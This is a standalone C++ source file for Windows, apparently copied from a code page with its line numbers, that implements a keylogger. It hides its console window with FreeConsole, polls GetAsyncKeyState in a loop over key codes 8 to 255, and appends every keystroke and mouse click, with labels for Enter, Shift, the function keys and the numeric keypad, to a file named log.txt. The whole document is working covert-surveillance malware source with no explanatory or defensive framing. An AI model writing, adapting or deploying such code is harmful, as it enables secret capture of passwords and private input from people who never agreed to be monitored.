1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
|
#include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;
int Save(int _key, char *file);
int main()
{
FreeConsole();
char i;
while(true){
Sleep(10);
for(int i = 8; i <= 255;i++){
if(GetAsyncKeyState(i) == -32767){
Save(i,"log.txt");
}
}
}
return 0;
}
int Save(int _key, char *file){
cout << _key << endl;
Sleep(10);
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file,"a+");
if (_key == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
// =========== MOUSE =======================
else if (_key == VK_LBUTTON)
fprintf(OUTPUT_FILE, "%s", "[LMB]");
else if (_key == VK_RBUTTON)
fprintf(OUTPUT_FILE, "%s", "[RMB]");
else if (_key == VK_MBUTTON)
fprintf(OUTPUT_FILE, "%s", "[MMB]");
// =========== =======================
else if (_key == VK_RETURN)
fprintf(OUTPUT_FILE, "%s", "[ENTER]");
else if (_key == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESC]");
else if (_key == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (_key == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (_key == VK_LCONTROL)
fprintf(OUTPUT_FILE, "%s", "[LCTRL]");
else if (_key == VK_RCONTROL)
fprintf(OUTPUT_FILE, "%s", "[RCTRL]");
else if (_key == VK_SPACE)
fprintf(OUTPUT_FILE, "%s", "[SPACE]");
// =========== NUMPAD =======================
else if (_key == VK_NUMPAD0)
fprintf(OUTPUT_FILE, "%s", "[Num0]");
else if (_key == VK_NUMPAD1)
fprintf(OUTPUT_FILE, "%s", "[Num1]");
else if (_key == VK_NUMPAD2)
fprintf(OUTPUT_FILE, "%s", "[Num2]");
else if (_key == VK_NUMPAD3)
fprintf(OUTPUT_FILE, "%s", "[Num3]");
else if (_key == VK_NUMPAD4)
fprintf(OUTPUT_FILE, "%s", "[Num4]");
else if (_key == VK_NUMPAD5)
fprintf(OUTPUT_FILE, "%s", "[Num5]");
else if (_key == VK_NUMPAD6)
fprintf(OUTPUT_FILE, "%s", "[Num6]");
else if (_key == VK_NUMPAD7)
fprintf(OUTPUT_FILE, "%s", "[Num7]");
else if (_key == VK_NUMPAD8)
fprintf(OUTPUT_FILE, "%s", "[Num8]");
else if (_key == VK_NUMPAD9)
fprintf(OUTPUT_FILE, "%s", "[Num9]");
// =========== F1, F2, F3 etc. =======================
else if (_key == VK_F1)
fprintf(OUTPUT_FILE, "%s", "[F1]");
else if (_key == VK_F2)
fprintf(OUTPUT_FILE, "%s", "[F2]");
else if (_key == VK_F3)
fprintf(OUTPUT_FILE, "%s", "[F3]");
else if (_key == VK_F4)
fprintf(OUTPUT_FILE, "%s", "[F4]");
else if (_key == VK_F5)
fprintf(OUTPUT_FILE, "%s", "[F5]");
else if (_key == VK_F6)
fprintf(OUTPUT_FILE, "%s", "[F6]");
else if (_key == VK_F7)
fprintf(OUTPUT_FILE, "%s", "[F7]");
else if (_key == VK_F8)
fprintf(OUTPUT_FILE, "%s", "[F8]");
else if (_key == VK_F9)
fprintf(OUTPUT_FILE, "%s", "[F9]");
else if (_key == VK_F10)
fprintf(OUTPUT_FILE, "%s", "[F10]");
else if (_key == VK_F11)
fprintf(OUTPUT_FILE, "%s", "[F11]");
else if (_key == VK_F12)
fprintf(OUTPUT_FILE, "%s", "[F12]");
// =========== ELSE =======================
else
fprintf(OUTPUT_FILE, "%s", &_key);
return 0;
}
|